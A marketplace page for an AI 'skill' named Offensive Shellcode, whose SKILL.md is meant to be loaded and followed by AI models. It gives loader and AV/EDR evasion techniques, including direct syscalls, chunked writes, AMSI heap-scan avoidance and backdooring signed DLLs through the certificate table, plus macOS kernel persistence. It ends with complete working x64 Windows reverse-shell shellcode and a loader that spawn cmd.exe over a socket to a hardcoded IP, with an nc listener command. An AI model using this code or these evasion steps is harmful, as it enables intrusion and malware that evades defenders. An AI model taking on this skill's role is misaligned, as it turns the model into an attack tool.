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Offensive Shellcode

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SnailSploit
offensive-shellcode

Shellcode development reference for offensive security engagements. Use when writing custom x86/x64 shellcode, implementing position-independent code (PIC), building shellcode loaders, evading AV/EDR detection, or converting PE files to shellcode. Covers null byte avoidance, API hashing, encoder/decoder patterns, staged vs stageless payloads, Windows PEB traversal, and cross-platform shellcode techniques.

Overview

PublisherSnailSploit
RepositoryClaude-Red
Skill nameoffensive-shellcode
Stars
6K
Forks
775
Bundled files
Instructions only
LicenseMIT
Links
  • Markdown instructions

    A SKILL.md file the model loads on demand, so it only costs tokens when a request actually matches.

  • Works with any LLM

    AI skills are plain Markdown, not provider-specific code, so this works with GPT, Claude, Gemini, Grok, or a local model.

  • Self-contained

    Everything the model needs lives in the instructions — no extra files to sync.

  • Open source

    Published by SnailSploit on GitHub. Read the source before you install it.

Installation

Install the Offensive Shellcode AI skill in TypingMind to use it with any LLM, or drop it into another agent that reads SKILL.md.

1

Install in TypingMind

TypingMind installs a skill straight from its GitHub folder — it reads SKILL.md, bundles the resource files, and stores the result locally.

  1. Open the app and go to Plugins → Skills.
  2. Choose "Install from GitHub".
  3. Paste the skill folder URL below and confirm.
  4. Enable the skill in any chat where you want it available.
Plugins → Skills → Add skill → From GitHub URL, then paste the folder URL and press Continue.
2

Install in another agent

Any agent that reads the Agent Skills format can use this skill — copy the folder into that agent's skills directory.

Claude Code — .claude/skills
git clone --depth 1 https://github.com/SnailSploit/Claude-Red.git /tmp/Claude-Red
mkdir -p .claude/skills
cp -r /tmp/Claude-Red/Skills/infrastructure/offensive-shellcode .claude/skills/offensive-shellcode
Restart Claude Code after copying so it picks up the new skill.

Use it in TypingMind

Enable Offensive Shellcode in any TypingMind chat and the model takes it from there. Its name and description sit in the system prompt, and the moment a request matches, the model loads the full instructions itself — you never invoke it by hand, and it costs no tokens until it is actually used.

The model loads Offensive Shellcode on its own as soon as a request matches it.

Works with any AI model

AI skills are plain Markdown instructions rather than provider-specific code, so Offensive Shellcode is not tied to the model it was written for. Install it once in TypingMind and use it with GPT-5, Claude, Gemini, Grok, DeepSeek, Mistral, Llama, or a local model you run yourself — all on your own API keys.

  • Loaded only when it is needed

    The system prompt carries just the name and description. The instructions are fetched on the first matching request, so an idle skill costs nothing.

  • Switch models mid-chat

    Because the skill is instructions rather than code, changing model does not break it — the next model reads the same SKILL.md.

Skill instructions

This is the SKILL.md content the model loads. Read it before installing — a skill is instructions your model will follow.

Shellcode Development Workflow

  1. Define concept and target platform (x86/x64, Windows/Linux/macOS)
  2. Write assembly using position-independent techniques
  3. Extract binary and test in controlled environment
  4. Apply null byte avoidance and optimizations
  5. Encode/encrypt to evade static detection
  6. Package with loader and choose delivery method

Basic Concepts

Execution Pattern (Allocate-Write-Execute)

Avoid direct PAGE_EXECUTE_READWRITE — prefer:

  1. Allocate with PAGE_READWRITE
  2. Write shellcode to allocated region
  3. Call VirtualProtect to switch to PAGE_EXECUTE_READ
c
char *dest = VirtualAlloc(NULL, 0x1234, MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE);
memcpy(dest, shellcode, 0x1234);
VirtualProtect(dest, 0x1234, PAGE_EXECUTE_READ, &old);
((void(*)())dest)();

Position-Independent Code (PIC) Techniques

MethodPlatformNotes
Call/PopWindowsPush next addr, pop into register
FPU stateWindowsfstenv saves instruction pointer
SEHWindowsException handler stores EIP
GOTLinuxGlobal Offset Table
VDSOLinuxKernel-provided shared object

Windows API Resolution (PEB Walk)

Identifying kernel32.dll without imports:

  1. Get PEB via gs:[0x60] (x64) or fs:[0x30] (x86)
  2. Walk PEB->Ldr.InMemoryOrderModuleList — order: exe → ntdll → kernel32
  3. Hash-compare module names to locate kernel32
  4. Parse the Export Address Table (EAT)
  5. Find GetProcAddress by name hash, then resolve LoadLibraryA
  6. Use LoadLibraryA to load WS2_32.dll, resolve Winsock functions

WinDbg helpers for debugging PEB walk:

bash
dt nt!_TEB -y ProcessEnvironmentBlock @$teb
dt nt!_PEB -y Ldr <peb_addr>
dt -r _PEB_LDR_DATA <ldr_addr>
dt _LDR_DATA_TABLE_ENTRY (<init_flink_addr> - 0x10)
lm m kernel32   # verify base address
r @r8           # check register

Shellcode Loaders

Loader Responsibilities

  • Environment verification / keying (sandbox detection)
  • Shellcode decryption
  • Safe memory allocation and injection
  • Ends its duties after injecting

Recommended languages: Zig (small, no runtime), Rust (secure), Nim, Go (watch for runtime signatures)

Allocation Phase

Avoid RWX allocations — use two-step:

  • VirtualAllocEx / NtAllocateVirtualMemory — allocate RW
  • ZwCreateSection + NtMapViewOfSection — alternative approach
  • After writing: VirtualProtectEx to switch to RX

Other options: code caves, stack/heap (with DEP disabled)

Write Phase

  • WriteProcessMemory / NtWriteVirtualMemory
  • memcpy to mapped section

Evasion tips:

  • Prepend shellcode with dummy opcodes
  • Split into chunks, write in randomized order
  • Add delays between writes

Execute Phase

Most scrutinized step — EDR checks thread start address against image-backed memory:

TechniqueNotes
CreateRemoteThread / ZwCreateThreadExLoud, heavily monitored
NtSetContextThreadHijack suspended thread
NtQueueApcThreadExAPC injection
API trampolinesOverwrite function prologue
ThreadlessInjectNo new threads created

Indirect execution resources:


PE-to-Shellcode Conversion

ToolPurpose
DonutEXE/DLL → shellcode
sRDIDLL → position-independent shellcode
Pe2shcPE → shellcode
AmberReflective PE packer

Open-source loaders:

  • ScareCrow
  • NimPackt-v1
  • NullGate — indirect syscalls + junk-write sequencing
  • DripLoader — chunked RW writes + direct syscalls + JMP trampoline
  • ProtectMyTooling — chain multiple protections
  • Direct-syscall helpers: SysWhispers3, FreshyCalls (now baseline requirements)

Shellcode Storage & Hiding

LocationRiskNotes
Hardcoded in .textMediumRequires recompile; stored RW/RO
PE Resources (RCDATA)HighMost scanned by AV
Extra PE sectionMediumUse second-to-last section
Certificate TableLowKeeps signed PE signature intact
Internet-hostedVariableSharpShooter

Certificate Table technique (recommended):

  • Pad Certificate Table with shellcode bytes; update PE headers
  • Backdoor only the loader DLL (e.g., ffmpeg.dll in teams.exe)
  • Main executable signature remains valid; only the DLL signature breaks

Protection: Compress with LZMA; encrypt with XOR32, RC4, or AES before storing.

Windows 11 24H2 note: AMSI heap scanning is active. Allocate with PAGE_NOACCESS, decrypt in place, then switch to PAGE_EXECUTE_READ to avoid live-heap scans.


Evasion

Progressive Evasion Escalation

  1. Basic shellcode execution (baseline)
  2. Add XOR/AES encryption + obfuscation
  3. Direct syscalls to bypass userland hooks
  4. Remote process injection as last resort

Local vs Remote Injection

Remote injection is more detectable:

  • CFG / CIG enforcement
  • ETW Ti feeds
  • EDR call-stack back-tracing (NtOpenProcess invocation source)
  • More scrutinized steps: OpenProcess → Allocate → Write → Execute

Defender bypass tools (DefenderBypass):

  • myEncoder3.py — XOR-encrypt binary shellcode
  • InjectBasic.cpp — basic C++ injector
  • InjectCryptXOR.cpp — XOR decrypt + inject
  • InjectSyscall-LocalProcess.cpp — direct syscalls, no suspicious IAT entries
  • InjectSyscall-RemoteProcess.cpp — remote process injection via direct syscalls

Cross-Platform Considerations

Windows on ARM64 (WoA)

  • Syscalls use SVC 0 with ARM64 table in ntdll!KiServiceTableArm64
  • Pointer Authentication (PAC) signs LR — avoid stack pivots or re-sign with PACIASP

Linux 6.9+ (eBPF Arena)

  • BPF_MAP_TYPE_ARENA maps can hold executable memory
  • Hide shellcode chunks in arena map, execute via bpf_prog_run_pin_on_cpu

macOS (Signed System Volume)

  • macOS 12+ seals the system partition; unsigned payloads cannot reside there
  • Userspace: launch agents, dylib hijacks in /Library/Apple/System/Library/Dyld/
  • Kernel persistence: create sealed snapshot, mount RW, inject, resign with kmutil, bless

DripLoader Technique

github.com/xuanxuan0/DripLoader:

  1. Reserve 64KB chunks with NO_ACCESS
  2. Allocate 4KB RW chunks within that pool
  3. Write shellcode in chunks in randomized order
  4. Re-protect to RX
  5. Overwrite prologue of ntdll!RtlpWow64CtxFromAmd64 with JMP trampoline
  6. All calls via direct syscalls: NtAllocateVirtualMemory, NtWriteVirtualMemory, NtCreateThreadEx

Full x64 Reverse Shell Shellcode (Windows)

Complete Python/Keystone example implementing PEB walk → GetProcAddressLoadLibraryA → Winsock connect → CreateProcessA(cmd.exe):

python
import ctypes, struct
from keystone import *

CODE = (
# Locate kernel32 Base Address
    " start:                         "
    "   add rsp, 0xfffffffffffffdf8 ;" # Avoid Null Byte and make some space
    " find_kernel32:                 "
    "   int3                        ;" # WinDbg breakpoint (disable for release)
    "   xor rcx, rcx                ;"
    "   mov rax, gs:[rcx + 0x60]    ;" # RAX = PEB
    "   mov rax, [rax + 0x18]       ;" # RAX = PEB->Ldr
    "   mov rsi, [rax + 0x20]       ;" # RSI = InMemoryOrderModuleList
    "   lodsq                       ;"
    "   xchg rax, rsi               ;"
    "   lodsq                       ;"
    "   mov rbx, [rax + 0x20]       ;" # RBX = kernel32 base
    "   mov r8, rbx                 ;"
# Parse Export Address Table
    "   mov ebx, [rbx+0x3C]         ;" # PE signature offset
    "   add rbx, r8                 ;" # RBX = PE header
    "   xor r12,r12                 ;"
    "   add r12, 0x88FFFFF          ;"
    "   shr r12, 0x14               ;"
    "   mov edx, [rbx+r12]          ;" # EAT RVA
    "   add rdx, r8                 ;" # RDX = EAT VA
    "   mov r10d, [rdx+0x14]        ;" # NumberOfFunctions
    "   xor r11, r11                ;"
    "   mov r11d, [rdx+0x20]        ;" # AddressOfNames RVA
    "   add r11, r8                 ;" # AddressOfNames VA
# Find GetProcAddress
    "   mov rcx, r10                ;"
    " k32findfunction:               "
    "   jecxz functionfound         ;"
    "   xor ebx,ebx                 ;"
    "   mov ebx, [r11+4+rcx*4]      ;" # Function name RVA
    "   add rbx, r8                 ;" # Function name VA
    "   dec rcx                     ;"
    "   mov rax, 0x41636f7250746547 ;" # 'GetProcA'
    "   cmp [rbx], rax              ;"
    "   jnz k32findfunction         ;"
# Get function address
    " functionfound:                 "
    "   xor r11, r11                ;"
    "   mov r11d, [rdx+0x24]        ;" # AddressOfNameOrdinals RVA
    "   add r11, r8                 ;"
    "   inc rcx                     ;"
    "   mov r13w, [r11+rcx*2]       ;" # Ordinal
    "   xor r11, r11                ;"
    "   mov r11d, [rdx+0x1c]        ;" # AddressOfFunctions RVA
    "   add r11, r8                 ;"
    "   mov eax, [r11+4+r13*4]      ;"
    "   add rax, r8                 ;" # GetProcAddress VA
    "   mov r14, rax                ;" # R14 = GetProcAddress
# Resolve LoadLibraryA
    "   mov rcx, 0x41797261         ;"
    "   push rcx                    ;"
    "   mov rcx, 0x7262694c64616f4c ;"
    "   push rcx                    ;" # 'LoadLibraryA'
    "   mov rdx, rsp                ;"
    "   mov rcx, r8                 ;" # kernel32 base
    "   sub rsp, 0x30               ;"
    "   call r14                    ;" # GetProcAddress(kernel32, LoadLibraryA)
    "   add rsp, 0x40               ;"
    "   mov rsi, rax                ;" # RSI = LoadLibraryA
# LoadLibrary("WS2_32.dll")
    "   xor rax, rax                ;"
    "   mov rax, 0x6C6C             ;"
    "   push rax                    ;"
    "   mov rax, 0x642E32335F325357 ;"
    "   push rax                    ;" # 'WS2_32.dll'
    "   mov rcx, rsp                ;"
    "   sub rsp, 0x30               ;"
    "   call rsi                    ;" # LoadLibraryA("WS2_32.dll")
    "   mov r15, rax                ;" # R15 = WS2_32 base
    "   add rsp, 0x40               ;"
# WSAStartup
    "   mov rax, 0x7075             ;"
    "   push rax                    ;"
    "   mov rax, 0x7472617453415357 ;"
    "   push rax                    ;" # 'WSAStartup'
    "   mov rdx, rsp                ;"
    "   mov rcx, r15                ;"
    "   sub rsp, 0x30               ;"
    "   call r14                    ;" # GetProcAddress(ws2_32, WSAStartup)
    "   add rsp, 0x40               ;"
    "   mov r12, rax                ;"
    "   xor rcx,rcx                 ;"
    "   mov cx,408                  ;"
    "   sub rsp,rcx                 ;"
    "   lea rdx,[rsp]               ;" # lpWSAData
    "   mov cx,514                  ;" # wVersionRequired = 2.2
    "   sub rsp,88                  ;"
    "   call r12                    ;" # WSAStartup
# WSASocketA — create socket
    "   mov rax, 0x4174             ;"
    "   push rax                    ;"
    "   mov rax, 0x656b636f53415357 ;"
    "   push rax                    ;" # 'WSASocketA'
    "   mov rdx, rsp                ;"
    "   mov rcx, r15                ;"
    "   sub rsp, 0x30               ;"
    "   call r14                    ;"
    "   add rsp, 0x40               ;"
    "   mov r12, rax                ;"
    "   sub rsp,0x208               ;"
    "   xor rdx, rdx                ;"
    "   sub rsp, 88                 ;"
    "   mov [rsp+32], rdx           ;"
    "   mov [rsp+40], rdx           ;"
    "   inc rdx                     ;"
    "   mov rcx, rdx                ;"
    "   inc rcx                     ;"
    "   xor r8,r8                   ;"
    "   add r8,6                    ;"
    "   xor r9,r9                   ;"
    "   mov r9w,98*4                ;"
    "   mov ebx,[r15+r9]            ;"
    "   xor r9,r9                   ;"
    "   call r12                    ;" # WSASocketA
    "   mov r13, rax                ;" # R13 = socket handle
    "   add rsp, 0x208              ;"
# WSAConnect — connect to C2
    "   mov rax, 0x7463             ;"
    "   push rax                    ;"
    "   mov rax, 0x656e6e6f43415357 ;"
    "   push rax                    ;" # 'WSAConnect'
    "   mov rdx, rsp                ;"
    "   mov rcx, r15                ;"
    "   sub rsp, 0x30               ;"
    "   call r14                    ;"
    "   add rsp, 0x40               ;"
    "   mov r12, rax                ;"
    "   mov rcx, r13                ;" # socket handle
    "   sub rsp,0x208               ;"
    "   xor rax,rax                 ;"
    "   inc rax                     ;"
    "   inc rax                     ;"
    "   mov [rsp], rax              ;" # AF_INET = 2
    "   mov rax, 0xbb01             ;" # Port 443 (big-endian)
    "   mov [rsp+2], rax            ;"
    "   mov rax, 0x31061fac         ;" # IP 172.31.6.49 — UPDATE THIS
    "   mov [rsp+4], rax            ;"
    "   lea rdx,[rsp]               ;"
    "   mov r8, 0x16                ;" # sizeof(sockaddr_in)
    "   xor r9,r9                   ;"
    "   push r9                     ;"
    "   push r9                     ;"
    "   push r9                     ;"
    "   sub rsp, 0x88               ;"
    "   call r12                    ;" # WSAConnect
# Re-locate kernel32 and resolve CreateProcessA
    "   xor rcx, rcx                ;"
    "   mov rax, gs:[rcx + 0x60]    ;"
    "   mov rax, [rax + 0x18]       ;"
    "   mov rsi, [rax + 0x20]       ;"
    "   lodsq                       ;"
    "   xchg rax, rsi               ;"
    "   lodsq                       ;"
    "   mov rbx, [rax + 0x20]       ;"
    "   mov r8, rbx                 ;"
    "   mov rax, 0x41737365636f     ;"
    "   push rax                    ;"
    "   mov rax, 0x7250657461657243 ;"
    "   push rax                    ;" # 'CreateProcessA'
    "   mov rdx, rsp                ;"
    "   mov rcx, r8                 ;"
    "   sub rsp, 0x30               ;"
    "   call r14                    ;"
    "   add rsp, 0x40               ;"
    "   mov r12, rax                ;" # R12 = CreateProcessA
# Push cmd.exe + build STARTUPINFOA
    "   mov rax, 0x6578652e646d63   ;"
    "   push rax                    ;" # 'cmd.exe'
    "   mov rcx, rsp                ;" # lpApplicationName
    "   push r13                    ;" # hStdError = socket
    "   push r13                    ;" # hStdOutput = socket
    "   push r13                    ;" # hStdInput = socket
    "   xor rax,rax                 ;"
    "   push ax                     ;"
    "   push rax                    ;"
    "   push rax                    ;"
    "   mov rax, 0x100              ;" # STARTF_USESTDHANDLES
    "   push ax                     ;"
    "   xor rax,rax                 ;"
    "   push ax                     ;"
    "   push ax                     ;"
    "   push rax                    ;"
    "   push rax                    ;"
    "   push rax                    ;"
    "   push rax                    ;"
    "   push rax                    ;"
    "   push rax                    ;"
    "   mov rax, 0x68               ;"
    "   push rax                    ;" # cb = 0x68
    "   mov rdi,rsp                 ;" # RDI = &STARTUPINFOA
# Call CreateProcessA
    "   mov rax, rsp                ;"
    "   sub rax, 0x500              ;"
    "   push rax                    ;" # lpProcessInformation
    "   push rdi                    ;" # lpStartupInfo
    "   xor rax, rax                ;"
    "   push rax                    ;" # lpCurrentDirectory = NULL
    "   push rax                    ;" # lpEnvironment = NULL
    "   push rax                    ;"
    "   inc rax                     ;"
    "   push rax                    ;" # bInheritHandles = TRUE
    "   xor rax, rax                ;"
    "   push rax                    ;"
    "   push rax                    ;"
    "   push rax                    ;"
    "   push rax                    ;" # dwCreationFlags = 0
    "   mov r8, rax                 ;" # lpThreadAttributes = NULL
    "   mov r9, rax                 ;" # lpProcessAttributes = NULL
    "   mov rdx, rcx                ;" # lpCommandLine = 'cmd.exe'
    "   mov rcx, rax                ;" # lpApplicationName = NULL
    "   call r12                    ;" # CreateProcessA
)

ks = Ks(KS_ARCH_X86, KS_MODE_64)
encoding, count = ks.asm(CODE)
print("Encoded %d instructions..." % count)

sh = b""
for e in encoding:
    sh += struct.pack("B", e)
shellcode = bytearray(sh)

ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_void_p
ctypes.windll.kernel32.RtlCopyMemory.argtypes = (ctypes.c_void_p, ctypes.c_void_p, ctypes.c_size_t)
ctypes.windll.kernel32.CreateThread.argtypes = (
    ctypes.c_int, ctypes.c_int, ctypes.c_void_p,
    ctypes.c_int, ctypes.c_int, ctypes.POINTER(ctypes.c_int),
)

ptr = ctypes.windll.kernel32.VirtualAlloc(
    ctypes.c_int(0), ctypes.c_int(len(shellcode)),
    ctypes.c_int(0x3000), ctypes.c_int(0x40)
)
buf = (ctypes.c_char * len(shellcode)).from_buffer_copy(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_void_p(ptr), buf, ctypes.c_int(len(shellcode)))

print("Shellcode at %s" % hex(ptr))
input("Press ENTER to execute...")

ht = ctypes.windll.kernel32.CreateThread(
    ctypes.c_int(0), ctypes.c_int(0), ctypes.c_void_p(ptr),
    ctypes.c_int(0), ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0)),
)
ctypes.windll.kernel32.WaitForSingleObject(ht, -1)

Note: Update IP (0x31061fac) and port (0xbb01) before use. Listener: nc -nvlp 443

Windows 11 23H2: Smart App Control may block outbound TCP 443/4444 to local subnets. Use a non-standard port or a named-pipe payload.

Frequently asked questions

What does the Offensive Shellcode AI skill do?

Shellcode development reference for offensive security engagements. Use when writing custom x86/x64 shellcode, implementing position-independent code (PIC), building shellcode loaders, evading AV/EDR detection, or converting PE files to shellcode. Covers null byte avoidance, API hashing, encoder/decoder patterns, staged vs stageless payloads, Windows PEB traversal, and cross-platform shellcode techniques.

Why use Offensive Shellcode on TypingMind?

Because you install it once and use it with any model. Offensive Shellcode is plain Markdown rather than provider-specific code, so the same skill runs on GPT-5, Claude, Gemini, Grok, or a local model — and you can switch model mid-chat without it breaking. TypingMind runs on your own API keys, so you pay providers directly instead of a per-seat subscription, and your skills and chats stay in your own storage.

How do I install Offensive Shellcode in TypingMind?

Open Plugins → Skills → Install from GitHub in TypingMind and paste https://github.com/SnailSploit/Claude-Red/tree/main/Skills/infrastructure/offensive-shellcode. TypingMind reads its SKILL.md and installs it as a skill you can enable per chat.

Which AI models can use Offensive Shellcode?

Any model you connect in TypingMind. AI skills are plain Markdown instructions rather than provider-specific code, so GPT, Claude, Gemini, Grok, and local models can all load this skill when a request matches it.

How many AI models can I use with Offensive Shellcode?

As many as you like. As long as a model supports skills, you can use Offensive Shellcode with it — GPT, Claude, Gemini, Grok, DeepSeek, Mistral, Llama and more — all on TypingMind with your own API keys.

Is the Offensive Shellcode AI skill free?

Yes. It is published on GitHub by SnailSploit under the MIT license. You only pay your own AI provider for the tokens you use.

What are AI skills?

An AI skill is a reusable instruction bundle that teaches an AI model how to do one specific task. It follows the open Agent Skills format: a SKILL.md file with a name and description, plus any scripts, templates or reference files the model may need. The model reads the instructions only when your request matches the skill, so an installed skill costs nothing until it is used.

How are AI skills different from plugins or MCP servers?

A plugin or MCP server gives a model new tools to call — code that runs somewhere and returns a result. An AI skill gives the model knowledge and process instead: how to approach a task, which steps to follow, what good output looks like. Skills are plain Markdown, so they need no server, no API key and no runtime, and they work with any model.

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